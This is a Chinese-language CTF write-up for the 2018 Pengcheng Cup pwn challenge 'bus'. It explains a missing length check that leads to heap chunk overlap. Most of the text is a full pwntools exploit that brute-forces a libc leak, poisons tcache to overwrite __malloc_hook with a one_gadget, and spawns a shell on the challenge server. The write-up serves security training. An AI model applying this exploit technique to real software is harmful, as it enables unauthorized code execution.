2018鹏程杯初赛 pwn - bus 题解 by Lancet

点缀心空 / 2018-12-04 09:19:00 / 浏览数 3371 安全技术 CTF 顶(0) 踩(0)

看了Lilac和Whitzard的wp发现没有这道题，补充一下
题目的漏洞在于buy的时候没有check号长度，导致可以多分配出一个chunk，同时用塞人函数加几个人，达到堆块重叠的效果
填满tcache后用塞人函数和check ticket函数爆破得到libc，构造堆块重叠改在tcache中的fd指向__malloc_hook，改为one_gadget得到shell

```
from pwn import *
import sys

if len(sys.argv) < 2:
   p = process("./bus")
   libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
   elf = ELF("./bus")
else:
   p = remote("58.20.46.150",43860)
   libc = ELF("./libc.so.6")
   elf = ELF("./bus")


def buy(des,number,free = False):
   p.sendlineafter("What do you want to do:","1")
   p.sendafter("Where do you want to go: ",des)
   if free:
       p.recvuntil("OK,more people huh?\n")
   p.sendlineafter("How many people: ",str(number))
   p.recvuntil("Done!\n")

def select(des):
   p.sendlineafter("What do you want to do:","2")
   p.sendafter("Where is your destination:",des)
   info = p.recvline()
   if info != "No such place!\n":
       return True
   else:
       return False

def go():
   p.sendlineafter("What do you want to do:","3")
   p.recvuntil("OK, let's go!\n")

code_base = 0x555555554000
def debugf():
   gdb.attach(p,"b *{b1}\nb *{b2}".format(b1=hex(code_base+0xBEF),b2=hex(code_base+0xC37)))

def bruteforce():
   known = ""
   for i in range(6):
       #debugf()
       if i == 0:
           select(str(i+1) + "\n")
           go()
       #debugf()
       buy(str(i+1) + "\n",(i+1))
       buy("0\n",0xe00+(5-i)-i*(0x90)+0x18)
       select(str(i+2) + "\n")
       go()
       if i == 0:
           for j in range(0x40,256):
               if select(chr(j) + "\n"):
                   known = chr(j) + known
                   log.success("known:"+known)
                   #raw_input()
                   break
       else:
           for j in range(256):
```

```
            if j == 10:
                continue
            else:
                payload = chr(j) + known + "\n"
                if select(payload):
                    known = chr(j) + known
                    log.success("known:"+known)
                    #raw_input()
                    break
   return u64(known.ljust(8,"\x00"))


context.log_level = "debug"
context.terminal = ["tmux","splitw","-v"]
for i in range(33):
   buy(str(i).ljust(8,"\x00") + p64(0) + (p64(0) + p64(0x91))*6 + "\n",i)
buy("0\n",0)
#debugf()
for i in range(20,27,1):
   select(str(i) + "\n")
   go()
#debugf()
for i in range(7):
   buy(chr(i+20)+"\n",i+20)
#debugf()
leak_addr = bruteforce()
print hex(leak_addr)
offset = 0x7ffff7dcfca0 - 0x7ffff79e4000
libc.address = leak_addr - offset
log.success("libc_base:"+hex(libc.address))
buy("7\n",7)
buy("0\n",0x90-0x30)
select("8\n")
go()
select("\n")
go()
#debugf()
malloc_hook = libc.symbols["__malloc_hook"]
one_gadget = libc.address + 0x10a38c
buy("a"*0x20 + p64(0) + p64(0x91) + p64(malloc_hook) + "\n",7)
buy("aaaaaaaaaaaaaaaaaaaaaa\n",8)
buy(p64(one_gadget) + "\n",10000)
p.sendlineafter("What do you want to do:","1")

p.interactive()
```


上一篇：迈克菲实验室威胁报告 下一篇：[译]使用 COOP 绕过 CFI 保护

1. 0 条回复
   - 动动手指，沙发就是你的了！